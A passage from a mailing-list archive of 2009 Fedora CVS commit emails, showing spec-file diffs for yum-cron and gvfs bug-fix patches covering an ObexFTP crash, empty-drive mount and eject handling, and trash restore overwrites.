+%{_sysconfdir}/yum/yum-daily.yum
+%{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Fri Oct 9 2009 Alec Habig <ahabig at umn.edu> - 0.9.1-1
+- Fixed CLEANDAY default in script
+- changed the /etc/yum/ scripts to not be marked as a config file in
+  the .spec - we always want them updated, they're code not config.  
+  rpmlint used to complain about them not being marked as config files,
+  but seems to have grown out of this weirdness in the meantime .
 * Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
 - Change cron file to 0yum.cron, so yum updates things before the other daily jobs
   such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up



From habig at fedoraproject.org  Wed Oct 14 13:36:31 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Wed, 14 Oct 2009 13:36:31 +0000 (UTC)
Subject: rpms/yum-cron/F-11 .cvsignore, 1.11, 1.12 import.log, 1.3,
	1.4 sources, 1.11, 1.12 yum-cron.spec, 1.14, 1.15
Message-ID: <20091014133631.A6D6C11C00E5@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12942/F-11

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
- Fixed CLEANDAY default in script
- changed the /etc/yum/ scripts to not be marked as a config file in
  the .spec - we always want them updated, they're code not config.
  rpmlint used to complain about them not being marked as config files,
  but seems to have grown out of this weirdness in the meantime .




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-11/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	7 Oct 2009 13:29:25 -0000	1.11
+++ .cvsignore	14 Oct 2009 13:36:31 -0000	1.12
@@ -1 +1 @@
-yum-cron-0.9.0.tar.gz
+yum-cron-0.9.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	7 Oct 2009 13:29:25 -0000	1.3
+++ import.log	14 Oct 2009 13:36:31 -0000	1.4
@@ -1,3 +1,4 @@
 yum-cron-0_8_3-1_fc10:HEAD:yum-cron-0.8.3-1.fc10.src.rpm:1229296060
 yum-cron-0_8_4-2_fc11:F-11:yum-cron-0.8.4-2.fc11.src.rpm:1250883086
 yum-cron-0_9_0-1_fc11:F-11:yum-cron-0.9.0-1.fc11.src.rpm:1254922148
+yum-cron-0_9_1-1_fc11:F-11:yum-cron-0.9.1-1.fc11.src.rpm:1255527377


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-11/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	7 Oct 2009 13:29:25 -0000	1.11
+++ sources	14 Oct 2009 13:36:31 -0000	1.12
@@ -1 +1 @@
-bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz
+894d3857361c926963c04d2c18552d3e  yum-cron-0.9.1.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-11/yum-cron.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- yum-cron.spec	7 Oct 2009 13:29:25 -0000	1.14
+++ yum-cron.spec	14 Oct 2009 13:36:31 -0000	1.15
@@ -1,6 +1,6 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.9.0
+Version: 0.9.1
 Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
@@ -85,12 +85,18 @@ exit 0
 %defattr(-,root,root)
 %doc COPYING README
 %{_sysconfdir}/cron.daily/0yum.cron
-%config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
-%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
+%{_sysconfdir}/yum/yum-daily.yum
+%{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Fri Oct 9 2009 Alec Habig <ahabig at umn.edu> - 0.9.1-1
+- Fixed CLEANDAY default in script
+- changed the /etc/yum/ scripts to not be marked as a config file in
+  the .spec - we always want them updated, they're code not config.  
+  rpmlint used to complain about them not being marked as config files,
+  but seems to have grown out of this weirdness in the meantime .
 * Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
 - Change cron file to 0yum.cron, so yum updates things before the other daily jobs
   such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up



From habig at fedoraproject.org  Wed Oct 14 13:36:56 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Wed, 14 Oct 2009 13:36:56 +0000 (UTC)
Subject: rpms/yum-cron/F-10 .cvsignore, 1.11, 1.12 import.log, 1.3,
	1.4 sources, 1.11, 1.12 yum-cron.spec, 1.13, 1.14
Message-ID: <20091014133656.B06C711C00E5@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13180/F-10

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
- Fixed CLEANDAY default in script
- changed the /etc/yum/ scripts to not be marked as a config file in
  the .spec - we always want them updated, they're code not config.
  rpmlint used to complain about them not being marked as config files,
  but seems to have grown out of this weirdness in the meantime .




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	7 Oct 2009 13:30:06 -0000	1.11
+++ .cvsignore	14 Oct 2009 13:36:56 -0000	1.12
@@ -1 +1 @@
-yum-cron-0.9.0.tar.gz
+yum-cron-0.9.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-10/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	7 Oct 2009 13:30:06 -0000	1.3
+++ import.log	14 Oct 2009 13:36:56 -0000	1.4
@@ -1,3 +1,4 @@
 yum-cron-0_8_3-1_fc10:F-10:yum-cron-0.8.3-1.fc10.src.rpm:1230596978
 yum-cron-0_8_4-2_fc11:F-10:yum-cron-0.8.4-2.fc11.src.rpm:1250883134
 yum-cron-0_9_0-1_fc11:F-10:yum-cron-0.9.0-1.fc11.src.rpm:1254922191
+yum-cron-0_9_1-1_fc11:F-10:yum-cron-0.9.1-1.fc11.src.rpm:1255527403


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-10/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	7 Oct 2009 13:30:06 -0000	1.11
+++ sources	14 Oct 2009 13:36:56 -0000	1.12
@@ -1 +1 @@
-bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz
+894d3857361c926963c04d2c18552d3e  yum-cron-0.9.1.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-10/yum-cron.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- yum-cron.spec	7 Oct 2009 13:30:06 -0000	1.13
+++ yum-cron.spec	14 Oct 2009 13:36:56 -0000	1.14
@@ -1,6 +1,6 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.9.0
+Version: 0.9.1
 Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
@@ -85,12 +85,18 @@ exit 0
 %defattr(-,root,root)
 %doc COPYING README
 %{_sysconfdir}/cron.daily/0yum.cron
-%config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
-%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
+%{_sysconfdir}/yum/yum-daily.yum
+%{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Fri Oct 9 2009 Alec Habig <ahabig at umn.edu> - 0.9.1-1
+- Fixed CLEANDAY default in script
+- changed the /etc/yum/ scripts to not be marked as a config file in
+  the .spec - we always want them updated, they're code not config.  
+  rpmlint used to complain about them not being marked as config files,
+  but seems to have grown out of this weirdness in the meantime .
 * Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
 - Change cron file to 0yum.cron, so yum updates things before the other daily jobs
   such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up



From hadess at fedoraproject.org  Wed Oct 14 13:38:18 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 14 Oct 2009 13:38:18 +0000 (UTC)
Subject: rpms/gvfs/F-12 obex-crasher.patch,NONE,1.1 gvfs.spec,1.161,1.162
Message-ID: <20091014133818.A810411C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gvfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13529

Modified Files:
	gvfs.spec 
Added Files:
	obex-crasher.patch 
Log Message:
* Wed Oct 14 2009 Bastien Nocera <bnocera at redhat.com> 1.4.0-6
- Fix crasher in ObexFTP (#528181)


obex-crasher.patch:
 gvfsbackendobexftp.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE obex-crasher.patch ---
commit 59a657175301c5b99bce0ce9a53b14efc202eb8e
Author: Bastien Nocera <hadess at hadess.net>
Date:   Wed Oct 14 14:27:43 2009 +0100

    Fix crasher in obexftp backend
    
    Spotted by Matthias Clasen
    
    See https://bugzilla.redhat.com/show_bug.cgi?id=528181

diff --git a/daemon/gvfsbackendobexftp.c b/daemon/gvfsbackendobexftp.c
index e658b16..84969db 100644
--- a/daemon/gvfsbackendobexftp.c
+++ b/daemon/gvfsbackendobexftp.c
@@ -1816,6 +1816,7 @@ do_push (GVfsBackend *backend,
       push_data_free (job_data);
 
       g_vfs_job_failed_from_error (G_VFS_JOB (job), error);
+      return;
     }
 
   push_data_free (job_data);


Index: gvfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gvfs/F-12/gvfs.spec,v
retrieving revision 1.161
retrieving revision 1.162
diff -u -p -r1.161 -r1.162
--- gvfs.spec	9 Oct 2009 14:59:18 -0000	1.161
+++ gvfs.spec	14 Oct 2009 13:38:18 -0000	1.162
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.4.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -53,6 +53,8 @@ Patch7: gvfs-1.4.1-no-poll-for-media.pat
 Patch8: 0001-Disallow-mounting-empty-drives.patch
 Patch9: 0002-Disallow-ejecting-empty-drives.patch
 Patch10: 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=528181
+Patch11: obex-crasher.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -155,6 +157,7 @@ and iPod Touches to applications using g
 %patch8 -p1 -b .mount-empty
 %patch9 -p1 -b .eject-empty
 %patch10 -p1 -b .error-detaching
+%patch11 -p1 -b .push-fail
 
 %build
 
@@ -308,6 +311,9 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Wed Oct 14 2009 Bastien Nocera <bnocera at redhat.com> 1.4.0-6
+- Fix crasher in ObexFTP (#528181)
+
 * Fri Oct  9 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-5
 - Don't always overwrite on trash restore
 - Separate "Safely Remove Drive" from "Eject"



From hadess at fedoraproject.org  Wed Oct 14 13:40:05 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 14 Oct 2009 13:40:05 +0000 (UTC)
Subject: rpms/gvfs/devel 0001-Disallow-mounting-empty-drives.patch, NONE,
	1.1 0002-Disallow-ejecting-empty-drives.patch, NONE,
	1.1 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch, 
	NONE, 1.1 gvfs-1.4.1-no-poll-for-media.patch, NONE,
	1.1 gvfs-1.4.1-separate-eject-safely-remove-drive.patch, NONE,
	1.1 gvfs-1.4.1-trash-dont-overwrite.patch, NONE,
	1.1 obex-crasher.patch, NONE, 1.1 gvfs.spec, 1.158, 1.159
Message-ID: <20091014134005.8666911C02A2@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gvfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13902

Modified Files:
	gvfs.spec 
Added Files:
	0001-Disallow-mounting-empty-drives.patch 
	0002-Disallow-ejecting-empty-drives.patch 
	0003-Silently-drop-eject-error-messages-when-detaching-dr.patch 
	gvfs-1.4.1-no-poll-for-media.patch 
	gvfs-1.4.1-separate-eject-safely-remove-drive.patch 
	gvfs-1.4.1-trash-dont-overwrite.patch obex-crasher.patch 
Log Message:
* Wed Oct 14 2009 Bastien Nocera <bnocera at redhat.com> 1.4.0-6
- Fix crasher in ObexFTP (#528181)
- Don't always overwrite on trash restore
- Separate "Safely Remove Drive" from "Eject"
- Don't advertise can_poll for drives not using removable media
- Disallow mounting empty drives
- Disallow ejecting empty drives
- Silently drop eject error messages when detaching drive


0001-Disallow-mounting-empty-drives.patch:
 gvfsbackendcomputer.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0001-Disallow-mounting-empty-drives.patch ---
>From a0c8d67cfea614c8c920af7c4ce2d90e4ce7256f Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Fri, 2 Oct 2009 15:05:44 +0200
Subject: [PATCH 1/3] Disallow mounting empty drives

This concerns only removable media drives without any detected volumes.
The end result is no Mount item in Nautilus popup menu and no action taken
on double-click over the drive icon.

The exception is floppy drives, where we always allow mount without need
to detecting media manually first.
---
 daemon/gvfsbackendcomputer.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/daemon/gvfsbackendcomputer.c b/daemon/gvfsbackendcomputer.c
index 4f4b9ca..59eadba 100644
--- a/daemon/gvfsbackendcomputer.c
+++ b/daemon/gvfsbackendcomputer.c
@@ -473,7 +473,7 @@ recompute_files (GVfsBackendComputer *backend)
           file->icon = g_drive_get_icon (file->drive);
           file->display_name = g_drive_get_name (file->drive);
           file->can_eject = g_drive_can_eject (file->drive);
-          file->can_mount = TRUE;
+          file->can_mount = ! g_drive_is_media_removable (file->drive) || ! g_drive_is_media_check_automatic (file->drive) || g_drive_has_media (file->drive);
         }
 
       if (file->drive)
-- 
1.6.5.rc2


0002-Disallow-ejecting-empty-drives.patch:
 ggdudrive.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE 0002-Disallow-ejecting-empty-drives.patch ---
>From bef30fdc1cb0986326eac9acd7b5125cd8f4b61c Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Fri, 2 Oct 2009 15:21:51 +0200
Subject: [PATCH 2/3] Disallow ejecting empty drives

Similar to previous commit, hide the Eject menu item when drive has no media.
---
 monitor/gdu/ggdudrive.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
index b99ef6e..3509382 100644
--- a/monitor/gdu/ggdudrive.c
+++ b/monitor/gdu/ggdudrive.c
@@ -188,7 +188,8 @@ update_drive (GGduDrive *drive)
        *
        * See also below where we e.g. set can_eject to TRUE for non-removable drives.
        */
-      drive->can_eject = gdu_device_drive_get_is_media_ejectable (device) || gdu_device_drive_get_requires_eject (device) || gdu_device_is_removable (device);
+      drive->can_eject = ((gdu_device_drive_get_is_media_ejectable (device) || gdu_device_is_removable (device)) && gdu_device_is_media_available (device)) ||
+                           gdu_device_drive_get_requires_eject (device);
       drive->is_media_check_automatic = gdu_device_is_media_change_detected (device);
       drive->can_poll_for_media = gdu_device_is_removable (device);
     }
-- 
1.6.5.rc2


0003-Silently-drop-eject-error-messages-when-detaching-dr.patch:
 ggdudrive.c |   16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

--- NEW FILE 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch ---
>From 6d7f1a8a842376be8f72cc1fc90fc3101e9752a3 Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Fri, 2 Oct 2009 15:35:41 +0200
Subject: [PATCH 3/3] Silently drop eject error messages when detaching drive

If there's no media in drive and yet it's marked as detachable,
calling eject would cause "no media in drive" error.
This is the case with my USB SD card reader.
---
 monitor/gdu/ggdudrive.c |   15 +++++++++++++--
 1 files changed, 13 insertions(+), 2 deletions(-)

diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
index 3509382..eb70d75 100644
--- a/monitor/gdu/ggdudrive.c
+++ b/monitor/gdu/ggdudrive.c
@@ -648,6 +648,18 @@ eject_cb (GduDevice *device,
 {
   GSimpleAsyncResult *simple = G_SIMPLE_ASYNC_RESULT (user_data);
   GGduDrive *drive;
+  gboolean drive_detachable;
+
+  drive = G_GDU_DRIVE (g_async_result_get_source_object (G_ASYNC_RESULT (simple)));
+  drive_detachable = drive->can_stop == FALSE && drive->start_stop_type == G_DRIVE_START_STOP_TYPE_SHUTDOWN;
+
+  if (error != NULL && error->code == G_IO_ERROR_FAILED && 
+      drive_detachable && ! drive->has_media && drive->is_media_removable)
+    {
+      /* Silently drop the error if there's no media in drive and we're still trying to detach it (see below) */
+      g_error_free (error);
+      error = NULL;
+    }
 
   if (error != NULL)
     {
@@ -658,8 +670,7 @@ eject_cb (GduDevice *device,
       goto out;
     }
 
-  drive = G_GDU_DRIVE (g_async_result_get_source_object (G_ASYNC_RESULT (simple)));
-  if (drive->can_stop == FALSE && drive->start_stop_type == G_DRIVE_START_STOP_TYPE_SHUTDOWN)
+  if (drive_detachable)
     {
       /* If device is not ejectable but it is detachable and we don't support stop(),
        * then also run Detach() after Eject() - see update_drive() for details for why...
-- 
1.6.5.rc2


gvfs-1.4.1-no-poll-for-media.patch:
 ggdudrive.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE gvfs-1.4.1-no-poll-for-media.patch ---
>From 780bae9c28df7e6d5f2463d9621f7db48524ee24 Mon Sep 17 00:00:00 2001
From: David Zeuthen <davidz at redhat.com>
Date: Fri, 09 Oct 2009 00:26:11 +0000
Subject: Fix return value of gdu_drive_can_poll_for_media()

If a drive doesn't use removable media, we shouldn't advertise that it
can be polled.
---
diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
index 9920829..20f8940 100644
--- a/monitor/gdu/ggdudrive.c
+++ b/monitor/gdu/ggdudrive.c
@@ -190,7 +190,7 @@ update_drive (GGduDrive *drive)
        */
       drive->can_eject = gdu_device_drive_get_is_media_ejectable (device) || gdu_device_drive_get_requires_eject (device) || gdu_device_is_removable (device);
       drive->is_media_check_automatic = gdu_device_is_media_change_detected (device);
-      drive->can_poll_for_media = TRUE;
+      drive->can_poll_for_media = gdu_device_is_removable (device);
     }
 
   /* determine start/stop type */
--
cgit v0.8.2

gvfs-1.4.1-separate-eject-safely-remove-drive.patch:
 ggdudrive.c |   53 ++++++++++++++++++++++-------------------------------
 1 file changed, 22 insertions(+), 31 deletions(-)

--- NEW FILE gvfs-1.4.1-separate-eject-safely-remove-drive.patch ---
>From 92bd6869f22bbe582f51f4ffca4d71f65ef9d6a6 Mon Sep 17 00:00:00 2001
From: David Zeuthen <davidz at redhat.com>
Date: Fri, 09 Oct 2009 00:20:27 +0000
Subject: Bug 597864 ?  Need to separate "Safely Remove Drive" from "Eject"

Some systems use internal USB devices. Automatically detaching such
drives when calling gdu_drive_eject() (triggered by e.g. the eject
button in the Nautilus sidebar) as we do right now leads to loss of
the drive until reboot (since the device is internal). The only viable
option right now is to separate "Safely Remove Drive" and "Eject".

If we gain infrastructure to let us know with 100% accuracy that a
given receptacle is external we can go back to the previous behavior.

See http://bugs.freedesktop.org/show_bug.cgi?id=24343 for details.
---
diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
index b99ef6e..9920829 100644
--- a/monitor/gdu/ggdudrive.c
+++ b/monitor/gdu/ggdudrive.c
@@ -212,39 +212,31 @@ update_drive (GGduDrive *drive)
     }
   else if (device != NULL && gdu_device_drive_get_can_detach (device))
     {
-      /* If the device is not ejectable, just detach on Eject() and claim to be ejectable.
+      /* Ideally, for non-ejectable devices (e.g. non-cdrom, non-zip)
+       * such as USB sticks we'd display "Eject" instead of "Shutdown"
+       * since it is more familiar and the common case. The way this
+       * should work is that after the Eject() method returns we call
+       * Detach() - see eject_cb() below.
        *
-       * This is so we get the UI to display "Eject" instead of "Shutdown" since it is
-       * more familiar and the common case. The way this works is that after the Eject()
-       * method returns we call Detach() - see eject_cb() below.
+       * (Note that it's not enough to just call Detach() since some
+       * devices, such as the Kindle, only works with Eject(). So we
+       * call them both in order).
        *
-       * (Note that it's not enough to just call Detach() since some devices, such as
-       * the Kindle, only works with Eject(). So we call them both in order)
+       * We actually used to do this (and that's why eject_cb() still
+       * has this code) but some systems use internal USB devices for
+       * e.g. SD card readers. If we were to detach these then the
+       * user would have to power-cycle the system to get the device
+       * back. See http://bugs.freedesktop.org/show_bug.cgi?id=24343
+       * for more details.
+       *
+       * In the future, if we know for sure that a port is external
+       * (like, from DMI data) we can go back to doing this. For now
+       * the user will get all the options...
        */
-      if (!gdu_device_drive_get_is_media_ejectable (device))
-        {
-          drive->can_eject = TRUE;
-          /* we still set this since
-           *
-           * a) it helps when debugging things using gvfs-mount(1) output
-           *    since the tool will print can_stop=0 but start_stop_type=shutdown
-           *
-           * b) we use it in eject_cb() to determine we need to call Detach()
-           *    after Eject() successfully completes
-           */
-          drive->start_stop_type = G_DRIVE_START_STOP_TYPE_SHUTDOWN;
-        }
-      else
-        {
-          /* So here the device is ejectable and detachable - for example, a USB CD-ROM
-           * drive or a CD-ROM drive in an Ultrabay - for these, we want to offer both
-           * "Eject" and "Shutdown" options in the UI
-           */
-          drive->can_stop = TRUE;
-          drive->can_start = FALSE;
-          drive->can_start_degraded = FALSE;
-          drive->start_stop_type = G_DRIVE_START_STOP_TYPE_SHUTDOWN;
-        }
+      drive->can_stop = TRUE;
+      drive->can_start = FALSE;
+      drive->can_start_degraded = FALSE;
+      drive->start_stop_type = G_DRIVE_START_STOP_TYPE_SHUTDOWN;
     }
 
   if (device != NULL)
--
cgit v0.8.2

gvfs-1.4.1-trash-dont-overwrite.patch:
 gvfsbackendtrash.c   |    2 +-
 trashlib/trashitem.c |    8 +++++---
 trashlib/trashitem.h |    2 +-
 3 files changed, 7 insertions(+), 5 deletions(-)

--- NEW FILE gvfs-1.4.1-trash-dont-overwrite.patch ---
>From 0b09cc8e57bc5fa701dd685d648fd338b92b2c48 Mon Sep 17 00:00:00 2001
From: Alexander Larsson <alexl at redhat.com>
Date: Thu, 08 Oct 2009 13:11:10 +0000
Subject: Don't always overwrite on trash restore

We want to get overwrite dialogs when restoring from trash.

https://bugzilla.gnome.org/show_bug.cgi?id=596618
---
diff --git a/daemon/gvfsbackendtrash.c b/daemon/gvfsbackendtrash.c
index 166bd04..e515fb8 100644
--- a/daemon/gvfsbackendtrash.c
+++ b/daemon/gvfsbackendtrash.c
@@ -447,7 +447,7 @@ trash_backend_pull (GVfsBackend           *vfs_backend,
               destination = g_file_new_for_path (local_path);
 
               if (remove_source)
-                it_worked = trash_item_restore (item, destination, &error);
+                it_worked = trash_item_restore (item, destination, flags, &error);
               else
                 it_worked = g_file_copy (real, destination, flags, 
                                          G_VFS_JOB (job)->cancellable, 
diff --git a/daemon/trashlib/trashitem.c b/daemon/trashlib/trashitem.c
index 335e8d4..bcfc301 100644
--- a/daemon/trashlib/trashitem.c
+++ b/daemon/trashlib/trashitem.c
@@ -486,7 +486,9 @@ trash_item_delete (TrashItem  *item,
       temp_name = g_file_get_child (expunged, buffer);
 
       /* "restore" the item into the expunged folder */
-      if (trash_item_restore (item, temp_name, NULL))
+      if (trash_item_restore (item, temp_name,
+			      G_FILE_COPY_OVERWRITE | G_FILE_COPY_NOFOLLOW_SYMLINKS,
+			      NULL))
         {
           trash_expunge (expunged);
           success = TRUE;
@@ -507,11 +509,11 @@ trash_item_delete (TrashItem  *item,
 gboolean
 trash_item_restore (TrashItem  *item,
                     GFile      *dest,
+		    GFileCopyFlags flags,
                     GError    **error)
 {
   if (g_file_move (item->file, dest,
-                   G_FILE_COPY_OVERWRITE |
-                   G_FILE_COPY_NOFOLLOW_SYMLINKS |
+		   flags |
                    G_FILE_COPY_NO_FALLBACK_FOR_MOVE,
                    NULL, NULL, NULL, error))
     {
diff --git a/daemon/trashlib/trashitem.h b/daemon/trashlib/trashitem.h
index 0fe0938..ad78202 100644
--- a/daemon/trashlib/trashitem.h
+++ b/daemon/trashlib/trashitem.h
@@ -54,6 +54,7 @@ gboolean        trash_item_delete            (TrashItem          *item,
                                               GError            **error);
 gboolean        trash_item_restore           (TrashItem          *item,
                                               GFile              *dest,
+					      GFileCopyFlags      flags,
                                               GError            **error);
 
 #endif /* _trashitem_h_ */
--
cgit v0.8.2

obex-crasher.patch:
 gvfsbackendobexftp.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE obex-crasher.patch ---
commit 59a657175301c5b99bce0ce9a53b14efc202eb8e
Author: Bastien Nocera <hadess at hadess.net>
Date:   Wed Oct 14 14:27:43 2009 +0100

    Fix crasher in obexftp backend
    
    Spotted by Matthias Clasen
    
    See https://bugzilla.redhat.com/show_bug.cgi?id=528181

diff --git a/daemon/gvfsbackendobexftp.c b/daemon/gvfsbackendobexftp.c
index e658b16..84969db 100644
--- a/daemon/gvfsbackendobexftp.c
+++ b/daemon/gvfsbackendobexftp.c
@@ -1816,6 +1816,7 @@ do_push (GVfsBackend *backend,
       push_data_free (job_data);
 
       g_vfs_job_failed_from_error (G_VFS_JOB (job), error);
+      return;
     }
 
   push_data_free (job_data);


Index: gvfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gvfs/devel/gvfs.spec,v
retrieving revision 1.158
retrieving revision 1.159
diff -u -p -r1.158 -r1.159
--- gvfs.spec	8 Oct 2009 14:51:35 -0000	1.158
+++ gvfs.spec	14 Oct 2009 13:40:05 -0000	1.159
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.4.0
-Release: 4%{?dist}
+Release: 6%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -44,6 +44,17 @@ Patch3: consider-logical-partitions.patc
 # https://bugzilla.redhat.com/show_bug.cgi?id=526892
 # Nautilus not displaying friendly icons for SSH-connected system
 Patch4: gvfs-1.4.0-mountspec-from-string.patch
+# from upstream
+Patch5: gvfs-1.4.1-trash-dont-overwrite.patch
+Patch6: gvfs-1.4.1-separate-eject-safely-remove-drive.patch
+Patch7: gvfs-1.4.1-no-poll-for-media.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=520497
+# annoying error dialogs
+Patch8: 0001-Disallow-mounting-empty-drives.patch
+Patch9: 0002-Disallow-ejecting-empty-drives.patch
+Patch10: 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=528181
+Patch11: obex-crasher.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -140,6 +151,13 @@ and iPod Touches to applications using g
 %patch2 -p1 -b .http-icons
 %patch3 -p1 -b .logical-partitions
 %patch4 -p1 -b .favicons
+%patch5 -p1 -b .trash-overwrite
+%patch6 -p1 -b .separate-eject
+%patch7 -p1 -b .no-poll
+%patch8 -p1 -b .mount-empty
+%patch9 -p1 -b .eject-empty
+%patch10 -p1 -b .error-detaching
+%patch11 -p1 -b .push-fail
 
 %build
 
@@ -293,6 +311,15 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Wed Oct 14 2009 Bastien Nocera <bnocera at redhat.com> 1.4.0-6
+- Fix crasher in ObexFTP (#528181)
+- Don't always overwrite on trash restore
+- Separate "Safely Remove Drive" from "Eject"
+- Don't advertise can_poll for drives not using removable media
+- Disallow mounting empty drives
+- Disallow ejecting empty drives
+- Silently drop eject error messages when detaching drive
+
 * Thu Oct  8 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-4
 - Fix Nautilus not displaying friendly icons for SSH-connected system (#526892)
 - Actually apply the logical partitions patch



From hadess at fedoraproject.org  Wed Oct 14 13:45:43 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 14 Oct 2009 13:45:43 +0000 (UTC)
Subject: rpms/gvfs/F-11 obex-crasher.patch,NONE,1.1 gvfs.spec,1.143,1.144
Message-ID: <20091014134543.A4DD111C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gvfs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14789

Modified Files:
	gvfs.spec 
Added Files:
	obex-crasher.patch 
Log Message:
* Wed Oct 14 2009 Bastien Nocera <bnocera at redhat.com> 1.2.3-13
- Fix ObexFTP push crasher (#528181)


obex-crasher.patch:
 gvfsbackendobexftp.c |    1 +
